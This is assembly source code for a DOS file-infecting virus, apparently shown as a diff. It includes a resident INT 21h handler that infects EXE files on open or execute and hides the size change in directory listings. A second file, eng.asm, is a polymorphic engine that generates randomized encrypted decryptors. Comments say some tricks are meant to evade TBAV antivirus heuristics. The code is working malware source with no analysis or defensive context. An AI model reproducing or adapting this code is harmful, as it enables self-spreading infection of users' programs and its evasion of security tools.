old_cs dw 0FFF0h ;Old CS:IP
|
||||
|
||||
old_ss dw 0FFF0h ;old stack segment
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
|
||||
i21vec: cmp ax,chkfunc ;check resident function?
|
||||
jne no_check_func
|
||||
|
||||
inc ax ;increment AX
|
||||
iret ;return from interrupt
|
||||
|
||||
no_check_func:
|
||||
inc ah ;avoid execute intercept heuristic flags
|
||||
|
||||
cmp ax,4C00h ;load and execute program?
|
||||
je _infect_on_exec
|
||||
|
||||
cmp ax,4C01h ;load program?
|
||||
je _infect_on_exec
|
||||
|
||||
cmp ax,4C03h ;load overlay?
|
||||
je _infect_on_exec
|
||||
|
||||
dec ah ;return AX to normal
|
||||
|
||||
cmp ah,3Dh ;open file with handle?
|
||||
je _infect_on_open
|
||||
|
||||
cmp ax,4300h ;get file attributes?
|
||||
je _infect_on_open
|
||||
|
||||
cmp ax,4301h ;set file attributes?
|
||||
je _infect_on_open
|
||||
|
||||
cmp ah,11h ;find first file (FCB)?
|
||||
je FCB_dir_stealth
|
||||
|
||||
cmp ah,12h ;find next file (FCB)?
|
||||
je FCB_dir_stealth
|
||||
|
||||
cmp ah,4Eh ;find first file (DTA)?
|
||||
je DTA_dir_stealth
|
||||
|
||||
cmp ah,4Fh ;find next file (DTA)?
|
||||
je DTA_dir_stealth
|
||||
|
||||
exit_interrupt_chained:
|
||||
jmp dword ptr cs:i21veco ;execute rest of interrupt chain
|
||||
_infect_on_exec:
|
||||
dec ah ;return AX to normal
|
||||
_infect_on_open:
|
||||
jmp infect_file ;and attempt to infect
|
||||
|
||||
FCB_dir_stealth:
|
||||
call function ;go ahead and execute
|
||||
|
||||
pushf
|
||||
push dx cx bx es ax ;push all used registers
|
||||
|
||||
test al,al ;was find successful?
|
||||
jnz exit_interrupt_stealth
|
||||
|
||||
mov ah,51h ;Get PSP address
|
||||
int 21h
|
||||
|
||||
mov es,bx ;ES=PSP address
|
||||
|
||||
sub bx,word ptr es:[16h] ;parent PSP?
|
||||
jnz exit_interrupt_stealth
|
||||
|
||||
mov bx,dx
|
||||
mov al,byte ptr [bx] ;first byte of FCB
|
||||
|
||||
push ax
|
||||
|
||||
mov ah,2Fh ;get DTA adress
|
||||
int 21h
|
||||
|
||||
pop ax
|
||||
|
||||
inc al
|
||||
jnz checkFCBinfected ;extended FCB?
|
||||
|
||||
add bx,007h ;If so, make into normal
|
||||
|
||||
checkFCBinfected:
|
||||
mov ax,word ptr es:[bx+17h]
|
||||
mov cx,word ptr es:[bx+19h] ;Get time and date
|
||||
|
||||
call unmask ;unmask second and date
|
||||
|
||||
xor ax,cx ;file infected?
|
||||
jnz exit_interrupt_stealth ;exit stealth interrupt
|
||||
|
||||
sub word ptr es:[bx+01Dh],vlength
|
||||
sbb word ptr es:[bx+01Fh],ax ;subtract virus size
|
||||
|
||||
exit_interrupt_stealth:
|
||||
pop ax es bx cx dx
|
||||
popf ;pop all used registers
|
||||
exit_interrupt_stealthvec:
|
||||
retf 02h ;return with given flags
|
||||
|
||||
unmask: and ax,1Fh
|
||||
and cx,1Fh
|
||||
dec cx ;unmask seconds and date
|
||||
ret
|
||||
|
||||
DTA_dir_stealth: ;DTA directory size subtract
|
||||
call function ;go ahead and execute
|
||||
|
||||
jc exit_interrupt_stealthvec ;exit if function unsuccessful
|
||||
|
||||
pushf
|
||||
push dx cx bx es ax ;push all used registers
|
||||
|
||||
mov ah,2Fh ;get DTA adress
|
||||
int 21h
|
||||
|
||||
mov ax,word ptr es:[bx+16h]
|
||||
mov cx,word ptr es:[bx+18h] ;get time and date stamps
|
||||
|
||||
call unmask ;unmask date and seconds
|
||||
|
||||
xor ax,cx ;is file infected?
|
||||
jnz exit_interrupt_stealth ;if not, don't subtract size
|
||||
|
||||
sub word ptr es:[bx+1Ah],vlength
|
||||
sbb word ptr es:[bx+1Ch],ax ;subtract virus size in bytes
|
||||
|
||||
jmp short exit_interrupt_stealth
|
||||
|
||||
move_pointer_end:
|
||||
xor cx,cx
|
||||
cwd ;zero cx and dx
|
||||
mov ax,4202h ;move pointer from EOF
|
||||
function:
|
||||
pushf
|
||||
call dword ptr cs:i21veco ;simulate call to original int 21h
|
||||
ret
|
||||
open_readwrite: ;opens file at DS:DX for read/write
|
||||
mov ax,3D00h ;open for read only access
|
||||
call function
|
||||
|
||||
jc bad_open ;carry set means open error
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
push ax ;file handle
|
||||
mov bx,ax
|
||||
|
||||
mov ax,1220h ;get JFT entry
|
||||
int 2Fh
|
||||
|
||||
mov ax,1216h ;get SFT location
|
||||
mov bl,byte ptr es:[di] ;handle number
|
||||
int 2Fh
|
||||
|
||||
pop bx
|
||||
|
||||
mov word ptr es:[di+02h],2 ;set file for read/write
|
||||
ret
|
||||
bad_open:
|
||||
pop ax
|
||||
jmp short exit_infect ;exit if bad open
|
||||
infect_file:
|
||||
push ax si es di bx cx ds dx ;push all used registers
|
||||
|
||||
call open_readwrite ;open file for read/write access
|
||||
|
||||
mov cx,24 ;24 bytes of header to read
|
||||
mov dx,offset(exeheader) ;EXE header information
|
||||
|
||||
mov ah,3Fh ;read file or device
|
||||
int 21h
|
||||
|
||||
cmp cx,ax ;enough bytes read?
|
||||
jne bad_file ;if not, file too small
|
||||
|
||||
mov cx,exeid
|
||||
not cx ;check whether EXE file without
|
||||
cmp cx,0B2A5h ;tripping TBAV's check com/exe
|
||||
je disease_exe ;heuristic flag
|
||||
cmp cx,0A5B2h
|
||||
je disease_exe ;if MZ or ZM, go ahead and infect
|
||||
|
||||
bad_file:
|
||||
mov ah,3Eh ;close file with handle
|
||||
int 21h
|
||||
|
||||
exit_infect:
|
||||
pop dx ds cx bx di es si ax ;pop all used registers
|
||||
jmp exit_interrupt_chained ;execute rest of interrupt chain
|
||||
|
||||
disease_exe:
|
||||
cmp chksum,virusid ;file already infected?
|
||||
je bad_file ;if so, bad file
|
||||
|
||||
lds si,dword ptr es:[di+0Dh] ;get old file date and time
|
||||
push si ds ;and save
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
add minallc,ressize ;add virus size in paragraphs
|
||||
|
||||
push es ;save SFT segment
|
||||
|
||||
les si,dword ptr ds:initss ;get initial SS:SP (reversed)
|
||||
mov old_ss,si
|
||||
mov old_sp,es
|
||||
|
||||
les si,dword ptr ds:initip ;get initial CS:IP
|
||||
mov old_cs,es
|
||||
mov old_ip,si
|
||||
|
||||
pop es
|
||||
|
||||
call move_pointer_end ;move file pointer to end of file
|
||||
|
||||
mov cx,16
|
||||
div cx ;convert file size to seg:offset
|
||||
|
||||
sub ax,headers ;subtract header size from segment
|
||||
|
||||
mov initcs,ax
|
||||
mov initip,dx ;set initial cs:ip
|
||||
|
||||
sub dx,100h
|
||||
mov delta,dx ;set delta offset in virus code
|
||||
|
||||
add dx,offset(sspace)+64+100h
|
||||
mov initsp,dx
|
||||
mov initss,ax ;set initial SS:SP in exe header
|
||||
|
||||
mov chksum,virusid ;set file as already infected
|
||||
|
||||
mov dx,100h ;offset of virus code in memory
|
||||
mov cx,vlength ;length of virus code
|
||||
|
||||
mov ah,40h ;write file or device
|
||||
push ax
|
||||
int 21h
|
||||
|
||||
call move_pointer_end ;get file size
|
||||
|
||||
mov cx,512
|
||||
div cx ;convert to pages
|
||||
|
||||
test dx,dx ;no remainder?
|
||||
jz no_remainder
|
||||
|
||||
inc ax ;if remainder add another page
|
||||
no_remainder:
|
||||
mov expages,ax
|
||||
mov exbytes,dx ;set new exe size
|
||||
|
||||
cwd
|
||||
mov word ptr es:[di+15h],dx
|
||||
mov word ptr es:[di+17h],dx ;zero file pointer in SFT
|
||||
|
||||
mov dx,offset(exeheader) ;exe header information
|
||||
mov cx,24 ;24 bytes to change
|
||||
|
||||
pop ax ;write file or device
|
||||
int 21h
|
||||
|
||||
pop dx cx ;old file date/time
|
||||
|
||||
push dx ;save original file date
|
||||
and cx,-20h ;reset seconds
|
||||
and dx,1Fh
|
||||
dec dx ;unmask date field
|
||||
|
||||
or cx,dx ;seconds=date
|
||||
|
||||
pop dx ;restore old date
|
||||
|
||||
mov ax,5701h ;set file date and time
|
||||
int 21h
|
||||
|
||||
jmp bad_file ;close and exit
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
|
||||
vbot equ $ ;bottom of virus code
|
||||
htop equ $ ;top of heap
|
||||
|
||||
i21veco dw 0
|
||||
i21vecs dw 0 ;old int 21h vector
|
||||
|
||||
exeheader:
|
||||
exeid dw 0 ;Unchanged ;EXE signature
|
||||
exbytes dw 0 ;number of bytes in last page
|
||||
expages dw 0 ;number of pages in file
|
||||
reloci dw 0 ;Unchanged ;number of items in relocation table
|
||||
headers dw 0 ;Unchanged ;size of header in paragraphs
|
||||
minallc dw 0 ;minimum memory to be allocated
|
||||
maxallc dw 0 ;Unchanged ;maximum memory to be allocated
|
||||
initss dw 0 ;initial SS value
|
||||
initsp dw 0 ;initial SP value (used as ID word)
|
||||
chksum dw 0 ;complimented checksum
|
||||
initip dw 0 ;initial IP value
|
||||
initcs dw 0 ;initial CS value
|
||||
reltabl dw 0 ;Unchanged ;byte offset to relocation table
|
||||
ovnum dw 0 ;Unchanged ;overlay number
|
||||
|
||||
hbot equ $ ;bottom of heap data
|
||||
|
||||
sspace db 70 dup (0) ;virus stack
|
||||
|
||||
end enemy_within ;end of virus code
|
|
@ -0,0 +1,939 @@
|
|||
;----------------------------<<eng.asm>>---------------------------------------
|
||||
|
||||
_ax equ 0
|
||||
_cx equ 1
|
||||
_dx equ 2
|
||||
_bx equ 3
|
||||
_sp equ 4
|
||||
_bp equ 5
|
||||
_si equ 6
|
||||
_di equ 7
|
||||
|
||||
|
||||
engine: mov ds:pointer,ax ; save IP
|
||||
mov di,offset decrypt
|
||||
mov bx,offset make_count
|
||||
mov cx,offset make_key
|
||||
mov dx,offset make_ptr
|
||||
mov si,offset order_ret
|
||||
or bp,11101111b ; SP is used
|
||||
call order ; randomize and call registers
|
||||
push di ; save start of loop
|
||||
push di
|
||||
mov si,offset encode
|
||||
mov di,offset write_buff
|
||||
mov cx,encode_end-encode
|
||||
rep movsb ; copy write code
|
||||
mov ds:encode_ptr,offset (encode_break-encode)+write_buff
|
||||
pop di
|
||||
mov bx,offset make_enc
|
||||
mov cx,offset make_keychange
|
||||
mov dx,offset make_deccount
|
||||
mov si,offset make_incptr
|
||||
call order ; call routines
|
||||
|
||||
;=====( Preform loop )=======================================================;
|
||||
|
||||
mov ax,2
|
||||
push ax
|
||||
call random ; test BP for 4000?
|
||||
pop ax
|
||||
jz loop_no_test
|
||||
test bp,4000h ; possible to just "Jcc"?
|
||||
jnz loop_make_jcc
|
||||
loop_no_test: call random
|
||||
jz loop_no_test1
|
||||
test bp,2000h ; use loop?
|
||||
jnz loop_make_jcc
|
||||
loop_no_test1: or bp,800h ; do not change flags
|
||||
mov ax,2
|
||||
cwd
|
||||
call random ; try OR/AND/TEST reg,reg
|
||||
; or XOR/ADD/OR/SUB reg,0?
|
||||
mov al,ds:count_reg ; get counter
|
||||
jnz loop_orandtest
|
||||
call boolean ; do XOR/OR/ADD or ADD/SUB?
|
||||
jnz loop_modify
|
||||
call add_reg ; ADD/SUB reg,0
|
||||
jmp loop_make_jcc
|
||||
|
||||
loop_modify: call modify_reg ; XOR/OR/ADD reg,0
|
||||
jmp loop_make_jcc
|
||||
|
||||
loop_orandtest: mov cl,3
|
||||
mov ch,al
|
||||
shl ch,cl
|
||||
or al,ch ; set reg1 as reg2 also
|
||||
mov bx,2 ; OR/AND/TEST
|
||||
call random_bx
|
||||
jnz loop_and
|
||||
or ax,9c0h ; OR reg1, reg2
|
||||
loop_reverse: call boolean ; use 9 or 11?
|
||||
jnz loop_orandteststo
|
||||
or ah,2h ; reg2, reg1
|
||||
jmp loop_orandteststo
|
||||
|
||||
loop_and: dec bx
|
||||
jnz loop_test
|
||||
or ax,21c0h ; AND reg1, reg2
|
||||
jmp loop_reverse
|
||||
|
||||
loop_test: or ax,85c0h ; TEST reg1, reg2
|
||||
loop_orandteststo:
|
||||
xchg al,ah
|
||||
stosw ; store TEST/OR/AND
|
||||
or bp,1800h ; do not change flags/
|
||||
; test stored
|
||||
call garble
|
||||
loop_make_jcc: and bp,not 800h
|
||||
test bp,2000h ; code loop?
|
||||
jz loop_make_jump
|
||||
mov al,0e2h ; LOOP
|
||||
test bp,1000h ; possible to use LOOPNZ/Z?
|
||||
jz loop_code_disp
|
||||
call boolean
|
||||
jnz loop_code_disp
|
||||
dec ax ; LOOPZ
|
||||
call boolean
|
||||
jnz loop_iscx
|
||||
dec ax ; LOOPNZ
|
||||
jmp loop_code_disp
|
||||
|
||||
;=====( Now make conditional jump )==========================================;
|
||||
|
||||
jcc_tbl: db 75h,79h,7dh,7fh ; JNE/JNS/JG/JGE
|
||||
|
||||
loop_make_jump: mov bx,offset jcc_tbl
|
||||
mov ax,3
|
||||
call random
|
||||
xlat ; get Conditional jump
|
||||
mov bx,2
|
||||
call random_bx ; use JE/JS/LE/L then JMP?
|
||||
jnz loop_code_disp
|
||||
cmp ds:count_reg,_cx ; CX is counter?
|
||||
jnz loop_notcx
|
||||
mov bl,4
|
||||
call random_bx
|
||||
jnz loop_notcx
|
||||
mov al,0e3h + 1 ; JCXZ + 1
|
||||
loop_notcx: dec ax
|
||||
loop_iscx: stosw
|
||||
cmp al,07fh ; Jcxz/loopz?
|
||||
ja loop_code_short
|
||||
call boolean ; Use opposite or EB?
|
||||
jnz loop_code_short
|
||||
or bp,800h ; dont change flags
|
||||
loop_code_short:mov si,di ; save offset of displacement
|
||||
call garble
|
||||
lea ax,ds:[si-2]
|
||||
sub ax,di
|
||||
neg al ; get jump displacement
|
||||
mov ds:[si-1],al ; save it
|
||||
test bp,800h ; Dont change flags -> "Jcc"
|
||||
mov al,0ebh ; Jmp short
|
||||
je loop_code_disp
|
||||
mov ax,3
|
||||
call random
|
||||
mov bx,offset jcc_tbl
|
||||
xlat ; Get JNE/JNS/JG/JGE
|
||||
loop_code_disp: stosb ; store jump
|
||||
pop ax ; start of loop
|
||||
dec ax
|
||||
sub ax,di ; get loop displacement
|
||||
stosb
|
||||
or bp,11101111b ; free all registers
|
||||
and bp,not 800h ; allow flags to change
|
||||
call garble
|
||||
mov ax,19
|
||||
call random ; 1 in 20 chance of non-jmp
|
||||
jnz loop_code_jmp
|
||||
mov ax,ds:pointer
|
||||
add ax,offset file_start ; where to jump
|
||||
xchg dx,ax
|
||||
call get_reg ; get a register
|
||||
call mov_reg ; Mov value into register
|
||||
or ax,0ffc0h + (4 shl 3) ; JMP reg16
|
||||
call boolean ; PUSH/RET or JMP reg16?
|
||||
jnz loop_code_push
|
||||
xchg al,ah
|
||||
jmp loop_code_stosw
|
||||
|
||||
loop_code_push: mov bx,2
|
||||
call random_bx ; 1 in 3 chance of FF /6 PUSH
|
||||
jnz loop_code_push1
|
||||
xor al,(6 shl 3) xor (4 shl 3) ; PUSH reg
|
||||
xchg al,ah
|
||||
stosw
|
||||
jmp loop_code_ret
|
||||
|
||||
loop_code_push1:xor al,50h xor (0c0h or (4 shl 3)) ; PUSH reg
|
||||
stosb
|
||||
loop_code_ret: call garble
|
||||
mov al,0c3h ; RETN
|
||||
stosb
|
||||
jmp loop_code_end
|
||||
|
||||
loop_code_jmp: mov al,0e9h
|
||||
stosb ; Store Jump
|
||||
lea ax,ds:[di-((file_start-2)-v_start)]
|
||||
neg ax ; Jmp file_start
|
||||
loop_code_stosw:stosw
|
||||
loop_code_end: mov si,ds:encode_enc_ptr ; get encrypt instruction ptr
|
||||
cmp di,offset header ; Decryptor is too large?
|
||||
jb go_write_buff
|
||||
stc ; return error
|
||||
pushf
|
||||
pop bp
|
||||
retn
|
||||
|
||||
go_write_buff: jmp write_buff ; encrypt/write/decrypt
|
||||
|
||||
|
||||
;=====( Inc pointer )========================================================;
|
||||
|
||||
make_incptr: mov ax,word ptr ds:ptr_reg ; get pointer registers
|
||||
mov dx,2 ; ADD ptr,2
|
||||
cmp ah,-1 ; two registers used?
|
||||
jz make_incptr_1
|
||||
call boolean ; do one or both?
|
||||
jnz make_incptr_do1
|
||||
dec dx ; ADD ptr,1
|
||||
call make_incptr_do1
|
||||
jmp make_incptr_2
|
||||
|
||||
make_incptr_do1:call boolean
|
||||
jnz make_incptr_1
|
||||
make_incptr_2: xchg al,ah
|
||||
make_incptr_1: call add_reg
|
||||
sub ds:disp,dx ; add to displacement
|
||||
retn
|
||||
|
||||
;=====( Dec counter )========================================================;
|
||||
|
||||
make_deccount: cmp si,offset make_deccount ; last operation?
|
||||
jnz make_deccount_notlast
|
||||
call boolean ; do it?
|
||||
jnz make_deccount_notlast
|
||||
or bp,4800h ; remember we're last
|
||||
make_deccount_notlast:
|
||||
mov al,ds:count_reg
|
||||
cmp al,_cx ; possible to use LOOP/LOOPNZ?
|
||||
jnz make_deccount_notcx
|
||||
call boolean
|
||||
jnz make_deccount_notcx
|
||||
or bp,2000h ; do LOOP
|
||||
jmp make_deccount_exit
|
||||
|
||||
make_deccount_notcx:
|
||||
mov dx,-1 ; ADD counter,-1
|
||||
call add_reg
|
||||
make_deccount_exit:
|
||||
or bp,400h ; deccount executed
|
||||
retn
|
||||
|
||||
;=====( Make encryption instruction )========================================;
|
||||
|
||||
make_enc: push bp
|
||||
and bp,not 400h
|
||||
mov al,ds:key_reg
|
||||
push ax ; save key register
|
||||
make_enc_which: mov ax,4 ; ADD/SUB/XOR/ROR/ROL
|
||||
call random
|
||||
mov bx,0105h ; ADD [DI],AX
|
||||
mov cx,1119h ; ADC/SBB
|
||||
mov dx,2905h ; SUB [DI],AX
|
||||
jz make_enc_add
|
||||
dec ax
|
||||
jz make_enc_sub
|
||||
dec ax
|
||||
jnz make_enc_ror
|
||||
mov bh,31h ; XOR
|
||||
mov dx,3105h ; XOR [DI],AX
|
||||
jmp make_enc_sto
|
||||
|
||||
make_enc_ror: cmp ds:key_reg,_cx ; CX is key?
|
||||
jne make_enc_which
|
||||
or bp,400h ; Put XCHG CX,AX
|
||||
mov bh,0d3h
|
||||
mov dx,0d30dh ; ROL
|
||||
dec ax
|
||||
jz r_make_enc_sto
|
||||
xchg bx,dx ; ROR
|
||||
r_make_enc_sto: mov ds:key_reg,al ; 1 SHL 3 = 08 / D3 08
|
||||
; D3 00 = ROL [],CL
|
||||
jmp make_enc_sto
|
||||
|
||||
make_enc_sub: xchg dh,bh ; SUB - ADD [DI],AX
|
||||
xchg cl,ch ; SBB/ADC
|
||||
make_enc_add: call boolean ; do Carry?
|
||||
jnz make_enc_sto
|
||||
push bx
|
||||
mov bh,ch ; Make it ADC/SBB
|
||||
call clear_carry
|
||||
cmp al,0
|
||||
org $ - 1
|
||||
make_enc_sto: push bx
|
||||
test bp,8000h ; EXE file?
|
||||
jz make_enc_com
|
||||
call is_bp_ptr ; is BP a pointer?
|
||||
je make_enc_com
|
||||
mov al,2eh ; CS:
|
||||
call boolean
|
||||
jnz make_enc_cs
|
||||
mov al,36h ; SS:
|
||||
make_enc_cs: stosb ; store segment override
|
||||
make_enc_com: mov al,bh
|
||||
stosb ; store instruction
|
||||
mov ax,word ptr ds:ptr_reg ; get pointer registers
|
||||
cmp ah,-1 ; second reg?
|
||||
je make_enc_xlat
|
||||
add al,ah
|
||||
make_enc_xlat: mov bx,offset rm_tbl
|
||||
xlat ; get r/m
|
||||
call is_bp_ptr ; is BP a pointer?
|
||||
jnz make_enc_nobp
|
||||
inc ah ; is there a second reg?
|
||||
jne make_enc_nobp
|
||||
or al,01000000b ; [BP+xx]
|
||||
make_enc_nobp: mov cx,ds:disp ; get displacement
|
||||
mov bx,6
|
||||
call random_bx ; allow no displacement?
|
||||
jz make_enc_get_disp
|
||||
jcxz make_enc_sto_rm
|
||||
make_enc_get_disp:
|
||||
or al,01000000b ; 8bit displacement
|
||||
call boolean ; allow 8bit displacement?
|
||||
jnz make_enc_16bit
|
||||
cmp cx,7fh ; 8bit displacement?
|
||||
jbe make_enc_sto_rm
|
||||
cmp cx,-80h
|
||||
jb make_enc_16bit
|
||||
xor ch,ch
|
||||
cmp ax,0
|
||||
org $ - 2
|
||||
make_enc_16bit: xor al,11000000b ; 8bit off, 16bit on
|
||||
make_enc_sto_rm:mov ah,ds:key_reg
|
||||
shl ah,1
|
||||
shl ah,1
|
||||
shl ah,1 ; from bits 0-2 of AH
|
||||
or al,ah ; to bits 3-5 of AL
|
||||
stosb ; store r/m byte
|
||||
test al,11000000b ; any displacement?
|
||||
jz make_enc_disp
|
||||
test al,10000000b ; 16bit displacement?
|
||||
xchg cx,ax
|
||||
stosw ; store displacement
|
||||
jnz make_enc_disp
|
||||
dec di ; 8bit only
|
||||
make_enc_disp: xchg di,ds:encode_ptr ; get encode ptr
|
||||
test bp,400h ; store XCHG CX,AX?
|
||||
je make_enc_nor
|
||||
mov al,91h ; XCHG CX,AX
|
||||
stosb
|
||||
make_enc_nor: xchg dx,ax
|
||||
xchg al,ah
|
||||
mov ds:encode_enc_ptr,di ; save instruction pointer
|
||||
stosw ; set encryption instruction
|
||||
je make_enc_nor1
|
||||
mov al,91h ; XCHG CX,AX
|
||||
stosb
|
||||
make_enc_nor1: xchg di,ds:encode_ptr ; restore decrypt ptr
|
||||
pop ax
|
||||
xchg al,ah
|
||||
mov word ptr ds:write_buff[encode_flip-encode],ax
|
||||
; save opposite operation
|
||||
pop ax
|
||||
mov ds:key_reg,al ; restore key register
|
||||
pop bp
|
||||
retn
|
||||
|
||||
rm_tbl: db -1,-1,-1,7,-1,6,4,5,-1,0,1,2,3 ; -1's not used
|
||||
|
||||
;=====( Change key )=========================================================;
|
||||
|
||||
make_keychange: call boolean ; change key?
|
||||
jnz make_keychange_yes
|
||||
retn
|
||||
|
||||
make_keychange_yes:
|
||||
push bp
|
||||
or bp,200h ; let know that keychange
|
||||
mov ax,3
|
||||
call random ; 1 in 4 chance of modify_reg
|
||||
jnz keychange_other
|
||||
call random_1
|
||||
xchg dx,ax ; Random value to modify key
|
||||
; reg by
|
||||
mov al,ds:key_reg
|
||||
call modify_reg ; XOR/ADD/OR
|
||||
keychange_stoop:xchg di,ds:encode_ptr ; get ptr to encode
|
||||
inc di ; CLC
|
||||
mov al,ds:modify_op ; get operation
|
||||
stosb
|
||||
keychange_stodx:xchg dx,ax ; store value/operation
|
||||
keychange_sto: stosw
|
||||
xchg di,ds:encode_ptr ; get decrypt pointer
|
||||
pop bp
|
||||
retn
|
||||
|
||||
keychange_other:mov al,4 ; ROR/ROL/NOT/NEG/ADD
|
||||
call random
|
||||
jnz keychange_rol
|
||||
mov ax,0d1c0h ; ROR AX,1
|
||||
keychange_cl: mov bx,2 ; 1 in 3 chance of ,CL
|
||||
call random_bx
|
||||
jnz keychange_nocl
|
||||
cmp ds:count_reg,_cx ; Count is CX?
|
||||
jne keychange_nocl
|
||||
test bp,400h ; Count already decremented?
|
||||
jnz keychange_nocl
|
||||
or ah,2 ; By CL
|
||||
keychange_nocl: xchg al,ah
|
||||
push ax
|
||||
or ah,ds:key_reg ; set key register
|
||||
stosw ; store instruction
|
||||
pop ax
|
||||
xchg di,ds:encode_ptr ; get encode ptr
|
||||
jmp keychange_sto
|
||||
|
||||
keychange_rol: dec ax
|
||||
jnz keychange_not
|
||||
mov ax,0d1c0h or (1 shl 3) ; ROL AX,1
|
||||
jmp keychange_cl
|
||||
|
||||
keychange_not: dec ax
|
||||
jnz keychange_neg
|
||||
mov ax,0f7c0h + (2 shl 3) ; NOT AX
|
||||
jmp keychange_nocl
|
||||
|
||||
keychange_neg: dec ax
|
||||
jnz keychange_add
|
||||
mov ax,0f7c0h + (3 shl 3) ; NEG AX
|
||||
jmp keychange_nocl
|
||||
|
||||
keychange_add: call random_1
|
||||
xchg dx,ax
|
||||
mov al,ds:key_reg ; get key register
|
||||
call add_reg ; ADD reg(ax), value(dx)
|
||||
jmp keychange_stoop
|
||||
|
||||
;=====( Build key )==========================================================;
|
||||
|
||||
make_key: call get_reg ; get register
|
||||
xchg dx,ax
|
||||
call random_1 ; get key
|
||||
mov ds:key,ax ; save key
|
||||
xchg dx,ax
|
||||
mov ds:key_reg,al ; save register
|
||||
call mov_reg ; MOV reg(ax),value(dx)
|
||||
retn
|
||||
|
||||
;=====( Build counter )======================================================;
|
||||
|
||||
make_count: call get_reg ; get register
|
||||
mov ds:count_reg,al ; save register
|
||||
mov dx,(decrypt-v_start)/2 ; # of words to crypt
|
||||
call mov_reg ; mov reg(ax),value(dx)
|
||||
retn
|
||||
|
||||
;=====( Build Pointer )======================================================;
|
||||
|
||||
make_ptr: mov dx,ds:pointer
|
||||
call get_ptr_reg ; get DI/SI/BP/BX
|
||||
mov ds:ptr_reg,al
|
||||
mov ds:ptr_reg1,-1
|
||||
mov bx,3
|
||||
call random_bx ; 1 in 4 chance of 2 regs
|
||||
jnz make_ptr_2
|
||||
cmp al,_si
|
||||
mov bx,11000000b ; DI/SI
|
||||
jb make_ptr_test
|
||||
mov bl,00101000b ; BP/BX
|
||||
make_ptr_test: test bp,bx ; 'other' availible?
|
||||
jz make_ptr_2
|
||||
make_ptr_again: call get_ptr_reg ; get DI/SI/BP/BX
|
||||
push ax
|
||||
call conv_num ; convert to bit-map number
|
||||
test al,bl ; is it other type?
|
||||
pop ax
|
||||
jnz make_ptr_ok
|
||||
call del_reg ; delete register
|
||||
jmp make_ptr_again
|
||||
|
||||
make_ptr_ok: mov ds:ptr_reg1,al ; save second register
|
||||
mov bx,-1
|
||||
call random_bx
|
||||
sub dx,bx ; randomize values
|
||||
xchg bx,dx
|
||||
call mov_reg ; mov reg(ax), value(dx)
|
||||
xchg bx,dx
|
||||
mov al,ds:ptr_reg ; get first reg
|
||||
make_ptr_2: xor bx,bx ; zero displacement
|
||||
call boolean ; use one?
|
||||
jnz make_ptr_nodisp
|
||||
mov bx,-1
|
||||
call random_bx
|
||||
sub dx,bx ; subtract displacement
|
||||
make_ptr_nodisp:mov ds:disp,bx ; save displacement
|
||||
call mov_reg ; mov reg(ax), value(dx)
|
||||
retn
|
||||
|
||||
;=====( Shell for mov_reg1 )=================================================;
|
||||
|
||||
mov_reg: push bx dx
|
||||
mov bx,4
|
||||
call random_bx ; 1 in 5 chance of MOV/ADD/SUB
|
||||
jnz mov_reg_call
|
||||
mov bx,-1
|
||||
call random_bx ; get random #
|
||||
sub dx,bx ; MOV reg, value-random #
|
||||
call mov_reg1 ; do MOV reg,
|
||||
mov dx,bx
|
||||
call add_reg ; Now add difference
|
||||
pop dx bx
|
||||
retn
|
||||
|
||||
mov_reg_call: pop dx bx
|
||||
|
||||
;=====( Mov reg(ax), value(dx) )=============================================;
|
||||
|
||||
mov_reg1: push ax bx cx dx
|
||||
cbw
|
||||
mov bx,2
|
||||
call random_bx ; MOV or SUB/XOR ADD/OR/XOR
|
||||
jz mov_reg_other
|
||||
mov bl,2
|
||||
call random_bx ; 1 in 3 chance of c6/c7 MOV
|
||||
jnz mov_reg_b0
|
||||
or ax,0c7c0h ; MOV reg,imm
|
||||
call boolean ; Do long MOV or LEA?
|
||||
jnz mov_reg_c7
|
||||
mov cl,3
|
||||
shl al,cl ; Reg -> bits 3,4,5
|
||||
xor ax,(8d00h or 110b) xor 0c700h ; LEA reg,[imm]
|
||||
mov_reg_c7: xchg al,ah
|
||||
stosw ; store it
|
||||
mov_reg_sto: xchg dx,ax
|
||||
stosw ; store value
|
||||
call garble
|
||||
mov_reg_exit: jmp modify_pop
|
||||
|
||||
mov_reg_b0: or al,0b8h ; MOV reg,imm
|
||||
stosb
|
||||
jmp mov_reg_sto
|
||||
|
||||
mov_reg_other: push ax
|
||||
mov cl,3
|
||||
mov ch,al
|
||||
shl ch,cl ; copy reg1 to reg2
|
||||
or al,ch ; set it
|
||||
call boolean
|
||||
jnz mov_reg_other1
|
||||
or ah,2 ; reg1, reg2 -> reg2, reg1
|
||||
mov_reg_other1: call boolean
|
||||
jnz mov_reg_xor
|
||||
or ax,29c0h ; SUB reg, reg
|
||||
call boolean
|
||||
jnz mov_reg_other_sto
|
||||
xor ah,19h xor 29h ; SBB reg, reg
|
||||
call clear_carry ; clear carry flag
|
||||
mov_reg_other_sto:
|
||||
xchg al,ah
|
||||
stosw
|
||||
call garble
|
||||
pop ax
|
||||
call modify_reg ; ADD/OR/XOR reg(ax),value(dx)
|
||||
jmp mov_reg_exit
|
||||
|
||||
mov_reg_xor: or ax,31c0h ; XOR AX,AX
|
||||
jmp mov_reg_other_sto
|
||||
|
||||
;=====( ADD/OR/XOR reg(ax), value(dx) )======================================;
|
||||
|
||||
modify_reg: push ax bx cx dx
|
||||
cbw
|
||||
mov bx,2
|
||||
call random_bx
|
||||
mov cx,3500h + (6 shl 3) ; XOR
|
||||
jz modify_reg_cont
|
||||
mov cx,0d00h + (1 shl 3) ; OR
|
||||
dec bx
|
||||
jz modify_reg_cont
|
||||
modify_reg_add: mov cx,0500h ; ADD
|
||||
call boolean ; ADC or ADD?
|
||||
jnz modify_reg_cont
|
||||
mov cx,1500h + (2 shl 3) ; ADC
|
||||
modify_reg_clc: call clear_carry ; Clear carry flag
|
||||
modify_reg_cont:test bp,200h ; keychange executing?
|
||||
jz modify_reg_nosave
|
||||
mov ds:modify_op,ch ; save AX operation
|
||||
modify_reg_nosave:
|
||||
call boolean ; check if AX?
|
||||
jnz modify_reg_noax
|
||||
or al,al ; AX?
|
||||
jnz modify_reg_noax
|
||||
mov al,ch
|
||||
stosb ; store instruction
|
||||
xchg dx,ax
|
||||
modify_sto: stosw ; store value
|
||||
modify_exit: call garble
|
||||
modify_pop: pop dx cx bx ax
|
||||
retn
|
||||
|
||||
modify_reg_noax:or ax,81c0h
|
||||
or al,cl ; XOR/OR/ADD
|
||||
